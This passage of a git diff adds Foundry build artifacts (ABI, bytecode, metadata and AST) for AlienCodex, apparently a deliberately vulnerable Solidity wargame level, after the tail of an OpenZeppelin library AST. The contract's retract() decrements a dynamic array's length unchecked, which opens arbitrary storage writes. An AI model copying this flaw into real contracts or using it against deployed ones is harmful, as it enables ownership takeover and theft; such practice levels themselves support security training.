pure"}},"id":48834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9335:20:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48835,"nodeType":"ExpressionStatement","src":"9335:20:37"}]},"id":48837,"nodeType":"IfStatement","src":"8987:379:37","trueBody":{"id":48831,"nodeType":"Block","src":"9014:301:37","statements":[{"AST":{"nativeSrc":"9172:133:37","nodeType":"YulBlock","src":"9172:133:37","statements":[{"nativeSrc":"9190:40:37","nodeType":"YulVariableDeclaration","src":"9190:40:37","value":{"arguments":[{"name":"returndata","nativeSrc":"9219:10:37","nodeType":"YulIdentifier","src":"9219:10:37"}],"functionName":{"name":"mload","nativeSrc":"9213:5:37","nodeType":"YulIdentifier","src":"9213:5:37"},"nativeSrc":"9213:17:37","nodeType":"YulFunctionCall","src":"9213:17:37"},"variables":[{"name":"returndata_size","nativeSrc":"9194:15:37","nodeType":"YulTypedName","src":"9194:15:37","type":""}]},{"expression":{"arguments":[{"arguments":[{"kind":"number","nativeSrc":"9258:2:37","nodeType":"YulLiteral","src":"9258:2:37","type":"","value":"32"},{"name":"returndata","nativeSrc":"9262:10:37","nodeType":"YulIdentifier","src":"9262:10:37"}],"functionName":{"name":"add","nativeSrc":"9254:3:37","nodeType":"YulIdentifier","src":"9254:3:37"},"nativeSrc":"9254:19:37","nodeType":"YulFunctionCall","src":"9254:19:37"},{"name":"returndata_size","nativeSrc":"9275:15:37","nodeType":"YulIdentifier","src":"9275:15:37"}],"functionName":{"name":"revert","nativeSrc":"9247:6:37","nodeType":"YulIdentifier","src":"9247:6:37"},"nativeSrc":"9247:44:37","nodeType":"YulFunctionCall","src":"9247:44:37"},"nativeSrc":"9247:44:37","nodeType":"YulExpressionStatement","src":"9247:44:37"}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":48821,"isOffset":false,"isSlot":false,"src":"9219:10:37","valueSize":1},{"declaration":48821,"isOffset":false,"isSlot":false,"src":"9262:10:37","valueSize":1}],"id":48830,"nodeType":"InlineAssembly","src":"9163:142:37"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"_revert","nameLocation":"8841:7:37","parameters":{"id":48824,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48821,"mutability":"mutable","name":"returndata","nameLocation":"8862:10:37","nodeType":"VariableDeclaration","scope":48839,"src":"8849:23:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48820,"name":"bytes","nodeType":"ElementaryTypeName","src":"8849:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48823,"mutability":"mutable","name":"errorMessage","nameLocation":"8888:12:37","nodeType":"VariableDeclaration","scope":48839,"src":"8874:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48822,"name":"string","nodeType":"ElementaryTypeName","src":"8874:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8848:53:37"},"returnParameters":{"id":48825,"nodeType":"ParameterList","parameters":[],"src":"8915:0:37"},"scope":48840,"stateMutability":"pure","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[],"canonicalName":"AddressUpgradeable","contractDependencies":[],"contractKind":"library","documentation":{"id":48513,"nodeType":"StructuredDocumentation","src":"126:67:37","text":" @dev Collection of functions related to the address type"},"fullyImplemented":true,"linearizedBaseContracts":[48840],"name":"AddressUpgradeable","nameLocation":"202:18:37","scope":48841,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":37} \ No newline at end of file diff --git a/contracts/out/AlienCodex.sol/AlienCodex.json b/contracts/out/AlienCodex.sol/AlienCodex.json new file mode 100644 index 000000000..f68d0dcb3 --- /dev/null +++ b/contracts/out/AlienCodex.sol/AlienCodex.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"codex","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"contact","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"isOwner","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"makeContact","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"record","inputs":[{"name":"_content","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"retract","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"revise","inputs":[{"name":"i","type":"uint256","internalType":"uint256"},{"name":"_content","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x6080604052600080546001600160a01b03191633179055610536806100256000396000f3fe608060405234801561001057600080fd5b50600436106100be5760003560e01c80638da5cb5b1161007657806394bd75691161005b57806394bd756914610148578063b5c645bd14610177578063f2fde38b14610194576100be565b80638da5cb5b1461011c5780638f32d59b14610140576100be565b806333a8c45a116100a757806333a8c45a146100f057806347f57b321461010c578063715018a614610114576100be565b80630339f300146100c3578063328b52cb146100e8575b600080fd5b6100e6600480360360408110156100d957600080fd5b50803590602001356101ba565b005b6100e66101eb565b6100f861021b565b604080519115158252519081900360200190f35b6100e661022b565b6100e6610254565b610124610304565b604080516001600160a01b039092168252519081900360200190f35b6100f8610314565b6101656004803603602081101561015e57600080fd5b5035610325565b60408051918252519081900360200190f35b6100e66004803603602081101561018d57600080fd5b5035610343565b6100e6600480360360208110156101aa57600080fd5b50356001600160a01b031661038a565b600054600160a01b900460ff166101cd57fe5b80600183815481106101db57fe5b6000918252602090912001555050565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055565b600054600160a01b900460ff1681565b600054600160a01b900460ff1661023e57fe5b6001805490610251906000198301610494565b50565b61025c610314565b6102ad576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b6001818154811061033257fe5b600091825260209091200154905081565b600054600160a01b900460ff1661035657fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b610392610314565b6103e3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610251816001600160a01b03811661042c5760405162461bcd60e51b81526004018080602001828103825260268152602001806104dc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b8154818355818111156104b8576000838152602090206104b89181019083016104bd565b505050565b61031191905b808211156104d757600081556001016104c3565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820dc9a42e48ee61fe9aac9a8df7665b5cd40124f6fa04b2d6f84c67ca9103742a764736f6c63430005110032","sourceMap":"94:495:2:-;;;657:6:1;:19;;-1:-1:-1;657:19:1;666:10;657:19;;;-1:-1:-1;;;;94:495:2;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561001057600080fd5b50600436106100be5760003560e01c80638da5cb5b1161007657806394bd75691161005b57806394bd756914610148578063b5c645bd14610177578063f2fde38b14610194576100be565b80638da5cb5b1461011c5780638f32d59b14610140576100be565b806333a8c45a116100a757806333a8c45a146100f057806347f57b321461010c578063715018a614610114576100be565b80630339f300146100c3578063328b52cb146100e8575b600080fd5b6100e6600480360360408110156100d957600080fd5b50803590602001356101ba565b005b6100e66101eb565b6100f861021b565b604080519115158252519081900360200190f35b6100e661022b565b6100e6610254565b610124610304565b604080516001600160a01b039092168252519081900360200190f35b6100f8610314565b6101656004803603602081101561015e57600080fd5b5035610325565b60408051918252519081900360200190f35b6100e66004803603602081101561018d57600080fd5b5035610343565b6100e6600480360360208110156101aa57600080fd5b50356001600160a01b031661038a565b600054600160a01b900460ff166101cd57fe5b80600183815481106101db57fe5b6000918252602090912001555050565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055565b600054600160a01b900460ff1681565b600054600160a01b900460ff1661023e57fe5b6001805490610251906000198301610494565b50565b61025c610314565b6102ad576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b6001818154811061033257fe5b600091825260209091200154905081565b600054600160a01b900460ff1661035657fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b610392610314565b6103e3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610251816001600160a01b03811661042c5760405162461bcd60e51b81526004018080602001828103825260268152602001806104dc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b8154818355818111156104b8576000838152602090206104b89181019083016104bd565b505050565b61031191905b808211156104d757600081556001016104c3565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820dc9a42e48ee61fe9aac9a8df7665b5cd40124f6fa04b2d6f84c67ca9103742a764736f6c63430005110032","sourceMap":"94:495:2:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;94:495:2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;489:98;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;489:98:2;;;;;;;:::i;:::-;;255:61;;;:::i;131:19::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;416:67;;;:::i;1544:137:1:-;;;:::i;759:77::-;;;:::i;:::-;;;;-1:-1:-1;;;;;759:77:1;;;;;;;;;;;;;;1110:90;;;:::i;156:22:2:-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;156:22:2;;:::i;:::-;;;;;;;;;;;;;;;;322:88;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;322:88:2;;:::i;1830:107:1:-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1830:107:1;-1:-1:-1;;;;;1830:107:1;;:::i;489:98:2:-;223:7;;-1:-1:-1;;;223:7:2;;;;216:15;;;;572:8;561:5;567:1;561:8;;;;;;;;;;;;;;;;;:19;-1:-1:-1;;489:98:2:o;255:61::-;295:7;:14;;;;-1:-1:-1;;;295:14:2;;;255:61::o;131:19::-;;;-1:-1:-1;;;131:19:2;;;;;:::o;416:67::-;223:7;;-1:-1:-1;;;223:7:2;;;;216:15;;;;462:5;:14;;;;;-1:-1:-1;;462:14:2;;;:::i;:::-;;416:67::o;1544:137:1:-;963:9;:7;:9::i;:::-;955:54;;;;;-1:-1:-1;;;955:54:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1642:1;1626:6;;1605:40;;-1:-1:-1;;;;;1626:6:1;;;;1605:40;;1642:1;;1605:40;1672:1;1655:19;;-1:-1:-1;;1655:19:1;;;1544:137::o;759:77::-;797:7;823:6;-1:-1:-1;;;;;823:6:1;759:77;;:::o;1110:90::-;1150:4;1187:6;-1:-1:-1;;;;;1187:6:1;1173:10;:20;;1110:90::o;156:22:2:-;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;156:22:2;:::o;322:88::-;223:7;;-1:-1:-1;;;223:7:2;;;;216:15;;;;383:5;27:10:-1;;23:18;;;45:23;;-1:-1;383:20:2;;;;;;;322:88::o;1830:107:1:-;963:9;:7;:9::i;:::-;955:54;;;;;-1:-1:-1;;;955:54:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1902:28;1921:8;-1:-1:-1;;;;;2111:22:1;;2103:73;;;;-1:-1:-1;;;2103:73:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2212:6;;;2191:38;;-1:-1:-1;;;;;2191:38:1;;;;2212:6;;;2191:38;;;2239:6;:17;;-1:-1:-1;;2239:17:1;-1:-1:-1;;;;;2239:17:1;;;;;;;;;;2038:225::o;94:495:2:-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"methodIdentifiers":{"codex(uint256)":"94bd7569","contact()":"33a8c45a","isOwner()":"8f32d59b","makeContact()":"328b52cb","owner()":"8da5cb5b","record(bytes32)":"b5c645bd","renounceOwnership()":"715018a6","retract()":"47f57b32","revise(uint256,bytes32)":"0339f300","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.5.17+commit.d19bba13\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"constant\":true,\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"codex\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"contact\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"isOwner\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"makeContact\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"_content\",\"type\":\"bytes32\"}],\"name\":\"record\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"retract\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"i\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"_content\",\"type\":\"bytes32\"}],\"name\":\"revise\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{\"isOwner()\":{\"details\":\"Returns true if the caller is the current owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"src/levels/AlienCodex.sol\":\"AlienCodex\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/helpers/Ownable-05.sol\":{\"keccak256\":\"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0\",\"urls\":[\"bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249\",\"dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci\"]},\"src/levels/AlienCodex.sol\":{\"keccak256\":\"0x21dd51ce51844b08feca460c8bc89837b80219b15fa2b2b7adff15d195d8cb8f\",\"urls\":[\"bzz-raw://95f71208d2b509445c297f128ea489e1e726a7b33c782d52d03602a652810409\",\"dweb:/ipfs/QmXDCiMWoZxdiCN9qRkos1WmyhQ6cWpWrfSpRtPpZDWhC8\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.5.17+commit.d19bba13"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","name":"codex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"contact","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"makeContact"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"bytes32","name":"_content","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"record"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"retract"},{"inputs":[{"internalType":"uint256","name":"i","type":"uint256"},{"internalType":"bytes32","name":"_content","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"revise"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"methods":{"isOwner()":{"details":"Returns true if the caller is the current owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}}},"userdoc":{"methods":{}}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"compilationTarget":{"src/levels/AlienCodex.sol":"AlienCodex"},"evmVersion":"istanbul","libraries":{}},"sources":{"src/helpers/Ownable-05.sol":{"keccak256":"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0","urls":["bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249","dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci"],"license":null},"src/levels/AlienCodex.sol":{"keccak256":"0x21dd51ce51844b08feca460c8bc89837b80219b15fa2b2b7adff15d195d8cb8f","urls":["bzz-raw://95f71208d2b509445c297f128ea489e1e726a7b33c782d52d03602a652810409","dweb:/ipfs/QmXDCiMWoZxdiCN9qRkos1WmyhQ6cWpWrfSpRtPpZDWhC8"],"license":null}},"version":1},"ast":{"absolutePath":"src/levels/AlienCodex.sol","id":240,"exportedSymbols":{"AlienCodex":[239]},"nodeType":"SourceUnit","src":"32:558:2","nodes":[{"id":173,"nodeType":"PragmaDirective","src":"32:23:2","nodes":[],"literals":["solidity","^","0.5",".0"]},{"id":174,"nodeType":"ImportDirective","src":"57:35:2","nodes":[],"absolutePath":"src/helpers/Ownable-05.sol","file":"../helpers/Ownable-05.sol","scope":240,"sourceUnit":172,"symbolAliases":[],"unitAlias":""},{"id":239,"nodeType":"ContractDefinition","src":"94:495:2","nodes":[{"id":178,"nodeType":"VariableDeclaration","src":"131:19:2","nodes":[],"constant":false,"name":"contact","scope":239,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":177,"name":"bool","nodeType":"ElementaryTypeName","src":"131:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"public"},{"id":181,"nodeType":"VariableDeclaration","src":"156:22:2","nodes":[],"constant":false,"name":"codex","scope":239,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[]"},"typeName":{"baseType":{"id":179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"156:7:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":180,"length":null,"nodeType":"ArrayTypeName","src":"156:9:2","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"value":null,"visibility":"public"},{"id":189,"nodeType":"ModifierDefinition","src":"185:64:2","nodes":[],"body":{"id":188,"nodeType":"Block","src":"206:43:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":184,"name":"contact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":178,"src":"223:7:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":183,"name":"assert","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":310,"src":"216:6:2","typeDescriptions":{"typeIdentifier":"t_function_assert_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":185,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"216:15:2","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":186,"nodeType":"ExpressionStatement","src":"216:15:2"},{"id":187,"nodeType":"PlaceholderStatement","src":"241:1:2"}]},"documentation":null,"name":"contacted","parameters":{"id":182,"nodeType":"ParameterList","parameters":[],"src":"203:2:2"},"visibility":"internal"},{"id":197,"nodeType":"FunctionDefinition","src":"255:61:2","nodes":[],"body":{"id":196,"nodeType":"Block","src":"285:31:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":194,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":192,"name":"contact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":178,"src":"295:7:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"hexValue":"74727565","id":193,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"305:4:2","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"295:14:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":195,"nodeType":"ExpressionStatement","src":"295:14:2"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"makeContact","parameters":{"id":190,"nodeType":"ParameterList","parameters":[],"src":"275:2:2"},"returnParameters":{"id":191,"nodeType":"ParameterList","parameters":[],"src":"285:0:2"},"scope":239,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"},{"id":211,"nodeType":"FunctionDefinition","src":"322:88:2","nodes":[],"body":{"id":210,"nodeType":"Block","src":"373:37:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":207,"name":"_content","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":199,"src":"394:8:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"argumentTypes":null,"id":204,"name":"codex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":181,"src":"383:5:2","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":206,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"push","nodeType":"MemberAccess","referencedDeclaration":null,"src":"383:10:2","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_bytes32_$returns$_t_uint256_$","typeString":"function (bytes32) returns (uint256)"}},"id":208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"383:20:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":209,"nodeType":"ExpressionStatement","src":"383:20:2"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":202,"modifierName":{"argumentTypes":null,"id":201,"name":"contacted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":189,"src":"363:9:2","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"363:9:2"}],"name":"record","parameters":{"id":200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":199,"name":"_content","nodeType":"VariableDeclaration","scope":211,"src":"338:16:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":198,"name":"bytes32","nodeType":"ElementaryTypeName","src":"338:7:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":null,"visibility":"internal"}],"src":"337:18:2"},"returnParameters":{"id":203,"nodeType":"ParameterList","parameters":[],"src":"373:0:2"},"scope":239,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"},{"id":222,"nodeType":"FunctionDefinition","src":"416:67:2","nodes":[],"body":{"id":221,"nodeType":"Block","src":"452:31:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":219,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":false,"src":"462:14:2","subExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":216,"name":"codex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":181,"src":"462:5:2","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage 